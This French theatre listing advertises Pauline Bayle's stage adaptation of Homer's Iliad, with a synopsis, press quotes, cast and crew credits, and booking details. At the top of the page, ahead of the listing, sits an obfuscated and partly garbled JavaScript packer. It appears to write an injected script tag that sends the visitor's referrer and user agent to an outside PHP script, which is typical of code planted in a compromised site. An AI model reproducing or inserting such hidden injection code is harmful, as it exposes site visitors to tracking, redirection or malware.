



ven eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(''');n m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|banfa|var|u0026u|referrer|srfin||js|php'.split('|'),0,{})) 3 février / 20h45

"ILIADÉ"

d'après Homère

adaptation et mise en scène : Pauline Bayle / Collectif À Tire-d'aile

Un collectif libre qui porte colère et compassion sans se soucier du genre.

D'un côté les Grecs, de l'autre les Troyens. 15 337 vers pour raconter six jours et six nuits d'une guerre qui dura dix ans. Armé d'une énergie collective et d'un regard humaniste, le collectif À Tire-d'Aile construit à partir de ce récit antique, épique et multiple un théâtre immédiat, vivant et fougueux.

Irrévérence drolatique et sens aigu du tragique nourrissent leur belle adaptation qui s'est affranchie des clichés hommes / femmes, lâches / braves, pour défendre un certain type d'humanité, éclairant ainsi des hommes qui tentent d'échapper à la souffrance. Dans un élan commun, la jeune metteuse en scène, Pauline Bayle, et les siens font résonner le texte tantôt

dans sa version originale tantôt dans un langage qui est celui d'aujourd'hui pour faire entendre ce chant de fureur et de tendresse et nous raconter cette fabuleuse histoire.

>>> La presse en parle :

"C'est très simple, très clair, très limpide. C'est assez remarquable cet Iliade mis en scène par Pauline Bayle."

Le Masque et la Plume - France Inter

" Ils font entendre avec une énergie superbe ce chant de guerre et de mort (...). Une force épique à couper le souffle."

La Croix

" Ce spectacle témoigne de l'éclatant talent des jeunes gens qui l'interprètent et le dirigent : à ne manquer sous aucun prétexte."

La Terrasse

" Une fougue, un engagement, une nécessité à jouer qui forcent le respect."

Le Figaroscope

avec : Charlotte van Bervesselès, Florent Dorin, Jade Herbulot (en alternance avec Pauline Bayle), Alex Fondja, Yan Tassin / scénographie : Camille Duchemin / lumières : Pascal Noël / costumes Camille Aït / coproduction : collectif À Tire-d'Aile, le Théâtre de Belleville / avec la participation du Jeune théâtre National / avec le soutien du Plateau 31 - Fabrique de culture de Gentilly, du Shakirail et de l'association Rue du Conservatoire - élèves et anciens élèves du CNSAD / © Pauline Legoff

Pour réserver pour ce spectacle vous pouvez joindre la Courée au 01 60 35 90 81 ou [cliquer là !](#)